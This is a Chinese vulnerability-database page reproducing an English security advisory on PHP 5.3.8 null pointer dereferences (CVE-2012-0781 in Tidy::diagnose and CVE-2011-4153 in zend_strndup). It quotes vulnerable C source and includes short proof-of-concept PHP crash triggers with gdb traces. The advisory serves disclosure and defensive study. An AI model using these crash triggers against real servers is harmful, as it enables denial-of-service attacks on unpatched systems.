漏洞版本:
php:5.3.8
漏洞描述:
CVE-2012-0781 PHP是一款免费开放源代码的WEB脚本语言包,可使用在Microsoft Windows、Linux和Unix操作系统下。 PHP 5.3.8版本中的tidy_diagnose函数中存在漏洞。远程攻击者可利用该漏洞借助对应用程序的特制输入,造成拒绝服务(空指针解引用进而应用程序崩溃),该应用程序试图在无效对象上执行Tidy::diagnose操作。
<* 参考
*>
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- —–BEGIN PGP SIGNED MESSAGE—–
- Hash: SHA1
- [ PHP 5.3.8 Multiple vulnerabilities ]
- Author: Maksymilian Arciemowicz
- Website: http://cxsecurity.com/
- Date: 14.01.2012
- CVE:
- CVE-2011-4153 (zend_strndup)
- Original link:
- http://cxsecurity.com/research/103
- [— 1. Multiple NULL Pointer Dereference with zend_strndup()
- [CVE-2011-4153] —]
- As we can see in zend_strndup()
- – -zend_alloca.c—
- ZEND_API char *zend_strndup(const char *s, uint length)
- {
- char *p;
- p = (char *) malloc(length+1);
- if (UNEXPECTED(p == NULL)) {
- return p; <=== RETURN NULL
- }
- if (length) {
- memcpy(p, s, length);
- }
- p[length] = 0;
- return p;
- }
- – -zend_alloca.c—
- zend_strndup() may return NULL
- in php code, many calls to zend_strndup() dosen’t checks returned
- values. In result, places like:
- – -zend_builtin_functions.c—
- ZEND_FUNCTION(define)
- {
- char *name;
- int name_len;
- zval *val;
- zval *val_free = NULL;
- zend_bool non_cs = 0;
- int case_sensitive = CONST_CS;
- zend_constant c;
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sz|b”, &name,
- &name_len, &val, &non_cs) == FAILURE) {
- return;
- }
- …
- c.flags = case_sensitive; /* non persistent */
- c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
- c.name_len = name_len+1;
- c.module_number = PHP_USER_CONSTANT;
- if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
- RETURN_TRUE;
- } else {
- RETURN_FALSE;
- }
- }
- – -zend_builtin_functions.c—
- – -PoC code—
- [cx@82 /www]$ ulimit -a
- socket buffer size (bytes, -b) unlimited
- core file size (blocks, -c) unlimited
- data seg size (kbytes, -d) 524288
- file size (blocks, -f) unlimited
- max locked memory (kbytes, -l) unlimited
- max memory size (kbytes, -m) 40000
- open files (-n) 11095
- pipe size (512 bytes, -p) 1
- stack size (kbytes, -s) 65536
- cpu time (seconds, -t) unlimited
- max user processes (-u) 5547
- virtual memory (kbytes, -v) 40000
- swap size (kbytes, -w) unlimited
- [cx@82 /www]$ cat define.php
- <?php
- define(str_repeat(“A”,$argv[1]),”a”);
- ?>
- – -PoC code—
- to see difference
- [cx@82 /www]$ php define.php 8999999
- Out of memory
- [cx@82 /www]$ php define.php 9999999
- Segmentation fault: 11
- (gdb) bt
- #0 0x28745eb0 in strrchr () from /lib/libc.so.7
- #1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
- at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
- #2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
- return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
- at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
- #3 0x0826dba6 in zend_do_fcall_common_helper_SPEC
- (execute_data=0x29401040)
- at zend_vm_execute.h:316
- There are others places, where zend_strndup() is used:
- – -1–
- ext/soap/php_sdl.c
- if (sdl->is_persistent) {
- new_enc->details.ns = zend_strndup(ns, ns_len);
- new_enc->details.type_str = strdup(new_enc->details.type_str);
- } else {
- new_enc->details.ns = estrndup(ns, ns_len);
- new_enc->details.type_str = estrdup(new_enc->details.type_str);
- }
- – -1–
- – -2–
- ext/standard/syslog.c
- BG(syslog_device) = zend_strndup(ident, ident_len);
- openlog(BG(syslog_device), option, facility);
- RETURN_TRUE;
- – -2–
- – -3–
- ext/standard/browscap.c
- } else { /* Other than true/false setting */
- Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
- Z_STRLEN_P(arg2));
- Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
- }
- new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
- zend_str_tolower(new_key, Z_STRLEN_P(arg1));
- zend_hash_update(Z_ARRVAL_P(current_section), new_key,
- Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
- free(new_key);
- – -3–
- – -4–
- ext/oci8/oci8.c
- if (alloc_non_persistent) {
- connection = (php_oci_connection *) ecalloc(1,
- sizeof(php_oci_connection));
- connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
- connection->is_persistent = 0;
- } else {
- connection = (php_oci_connection *) calloc(1,
- sizeof(php_oci_connection));
- connection->hash_key = zend_strndup(hashed_details.c,
- hashed_details.len);
- connection->is_persistent = 1;
- }
- – -4–
- – -5–
- ext/com_dotnet/com_typeinfo.c
- const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
- codepage TSRMLS_CC);
- c.name = zend_strndup(const_name, c.name_len);
- efree(const_name);
- c.name_len++; /* include NUL */
- SysFreeString(bstr_ids);
- /* sanity check for the case where the constant is already defined */
- if (zend_get_constant(c.name, c.name_len – 1, &exists TSRMLS_CC)) {
- if (COMG(autoreg_verbose) && !compare_function(&results,
- &c.value, &exists TSRMLS_CC)) {
- php_error_docref(NULL TSRMLS_CC, E_WARNING, “Type library
- constant %s is already defined”, c.name);
- }
- free(c.name);
- ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
- continue;
- }
- – -5–
- – -6–
- main/php_open_temporary_file.c
- /* On Unix use the (usual) TMPDIR environment variable. */
- {
- char* s = getenv(“TMPDIR”);
- if (s && *s) {
- int len = strlen(s);
- if (s[len – 1] == DEFAULT_SLASH) {
- temporary_directory = zend_strndup(s, len – 1);
- } else {
- temporary_directory = zend_strndup(s, len);
- }
- return temporary_directory;
- }
- – -6–
- [— 2. Tidy::diagnose() NULL pointer dereference —]
- Class tidy, may provide to null pointer dereference using tidy lib.
- 1287 static PHP_FUNCTION(tidy_diagnose)
- 1288 {
- 1289 TIDY_FETCH_OBJECT;
- 1290
- 1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
- 1292 tidy_doc_update_properties(obj TSRMLS_CC);
- 1293 RETURN_TRUE;
- 1294 }
- 1295
- 1296 RETURN_FALSE;
- 1297 }
- – -PoC—
- (gdb) r -r ‘$nx=new Tidy(“*”);$nx->diagnose();’
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /usr/bin/php -r ‘$nx=new Tidy(“*”);$nx->diagnose();’
- [Thread debugging using libthread_db enabled]
- PHP Warning: tidy::__construct(): Cannot Load ‘*’ into memory in
- Command line code on line 1
- Program received signal SIGSEGV, Segmentation fault.
- 0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
- from /usr/lib/libtidy-0.99.so.0
- – -PoC—
- – -Result—
- cx@cx64:~$ php -r ‘$nx=new Tidy(“*”);$nx->diagnose();’
- PHP Warning: tidy::__construct(): Cannot Load ‘*’ into memory in
- Command line code on line 1
- Segmentation fault
- – -Result—
- I do not consider this vulnerability as a having security impact other
- as DoS.
- [— 3. Contact —]
- Author: Maksymilian Arciemowicz
- Email: max {AA\TT cxsecurity |D|0|T] com
- http://cxsecurity.com/
- GPG:
- http://cxsecurity.com/office.cxsecurity.txt
- – —
- Best Regards
- Maksymilian Arciemowicz (CXSecurity.com)
- pub 4096R/D6E5B530 2010-09-19
- uid Maksymilian Arciemowicz (cx) <max@cxib.net>
- sub 4096R/58BA663C 2010-09-19
- —–BEGIN PGP SIGNATURE—–
- iQIcBAEBAgAGBQJPEWEaAAoJEIO8+dzW5bUwiQIP+wW7gqAMB3FtONREDS9rUa83
- VTJpMzCNdZw5cy7qIwivC4usdRUbidFy8Bqt/TA/3x8nWVm3Wx//5DPyFWb/RNZh
- swSS7+9f6XJA4tEF/eTn6lCEG4xp2wLxHgxqIqmWR09gkOifhKHVEEXlO5qsQxhx
- T5hEYqbvXEknzlUS/HC9C6sZsZK0EbdPjxDqe1qE+P3GyHecfoVb3s7WQw0IitZT
- l47by1UbJ2iGj5q4EExLyj2FxomIw46LFdFtePHOI6EZcq/MODnyCGNkzVpS4tyK
- SNIxiSp7nM1n08a6kQ1pZrMyTUO/LATojJ6qf79bJApyhK1ggs4WF+E73wItiFt0
- ordQeqWy2hTLyv+UlbsoFErSgASgw5MIw3ygZXNZsdQWEMj+UCUTrsro7k/zB6Uy
- 3r4ccmyf1Vd+kLx12SAR/uxHIlqQVskQDi2k45CPHQVAYGKdax24ksVlfgQ2K/dY
- 2SCj9gEDAOKqtNLxyFyEStraeb330TrxbGaI25gjiDVf7nYgPowqdaM1gI862MoR
- vP4vbFFY9ldwTBsLz9DNMVObsNWsoz2BlQ6olCgUPqkvce9RyI6rp+QwyIXQLcVr
- jUGMXhpmDrNR2oyA4ufsZ4u5W8KUIK3t26v8649k3LSzmRpmK1TSTNqdHwm9WfMa
- 0qg+Bq1hSEVfTOuqOY7x
- =IDq3
- —–END PGP SIGNATURE—–
安全建议:
目前厂商还没有提供此漏洞的相关补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://us.php.net/sites.php
评论关闭。